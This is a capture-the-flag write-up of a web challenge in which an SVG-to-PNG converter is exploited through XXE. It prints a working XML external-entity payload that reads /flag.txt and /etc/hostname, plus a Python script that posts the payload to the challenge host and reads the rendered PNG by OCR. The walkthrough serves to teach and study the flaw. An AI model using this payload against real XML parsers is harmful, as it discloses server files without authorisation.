Broken Box
Broken Box
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: local_file_disclosure, ocr_validation, svg_entity_injection, xxe_file_read
Summary
Walkthrough of the CUSTOM Web Broken Box. Task: a Flask/Werkzeug SVG-to-PNG converter accepted raw XML and stored the rendered image at /static/data.png. Solution: exploit XXE in the SVG parser to load file:///flag.txt, render the file conten
Description
Original task name: «Сломанный ящик»
Target: http://62.173.140.174:16009/
The challenge provided a web service that converts SVG into PNG. The task hint was unusually direct: the flag was stored on the server at /flag.txt. That strongly suggested the goal was not normal application logic abuse, but server-side file disclosure through the conversion pipeline.
Analysis
The main page exposed a simple HTML form with a textarea named aboba that accepted raw SVG/XML and returned the rendered image at:
text read-only • copy allowed/static/data.png
Initial probing showed:
- Flask / Werkzeug in the response headers
- user-controlled SVG submitted directly to the backend
- the resulting PNG changed after each submission
Because SVG is XML, the most promising vector was XXE. If the converter parsed attacker-controlled DOCTYPE declarations and external entities, then local files could be embedded into the SVG and rendered into the output image.
Exploitation
The working payload defined an external entity pointing at the local flag file and then placed that entity inside an SVG <text> node:
xml read-only • copy allowed<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]> <svg xmlns="http://www.w3.org/2000/svg" width="2600" height="180"> <rect width="100%" height="100%" fill="white"/> <text x="10" y="120" font-size="96" font-family="monospace">&xxe;</text> </svg>
After submitting this SVG, the application expanded &xxe;, loaded /flag.txt, and rendered the file contents into /static/data.png.
Proof / Important Responses
1. Converter behavior
The service accepted SVG input and rewrote the displayed image after each POST request.
2. XXE file read through SVG
Using a test entity such as file:///etc/hostname caused the hostname text to appear in the rendered PNG, confirming XXE.
3. Flag extraction
Replacing the hostname path with file:///flag.txt rendered the flag into the PNG.
Because the server returned only the image, the final text had to be read from the generated PNG. OCR worked, but the first pass misread xml as xmi. Re-rendering with a monospace font and repeating OCR confirmed the correct flag string.
Solution
Example Python exploit:
python read-only • copy allowed#!/usr/bin/env python3 import io import pytesseract import requests from PIL import Image URL = "http://62.173.140.174:16009/" payload = """<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]> <svg xmlns="http://www.w3.org/2000/svg" width="2600" height="180"> <rect width="100%" height="100%" fill="white"/> <text x="10" y="120" font-size="96" font-family="monospace">&xxe;</text> </svg> """ def main() -> None: session = requests.Session() session.post(URL, data={"aboba": payload}, timeout=10) image_data = session.get(URL + "static/data.png", timeout=10).content image = Image.open(io.BytesIO(image_data)) text = pytesseract.image_to_string( image, config="--psm 7 -c tessedit_char_whitelist=CODEBY{}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_", ) print(text.strip()) if __name__ == "__main__": main()
Expected output after the OCR re-check:
text read-only • copy allowedCODEBY{REDACTED}
Root Cause
The backend parsed attacker-controlled SVG/XML with external entities enabled. That allowed an XXE primitive using the file:// scheme, which disclosed local files from the server filesystem and rendered them into the exported PNG.
Key Takeaways / Lessons
- Mastering local_file_disclosure, ocr_validation, svg_entity_injection, xxe_file_read was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-04-04 • CUSTOM • Broken Box • Difficulty: Easy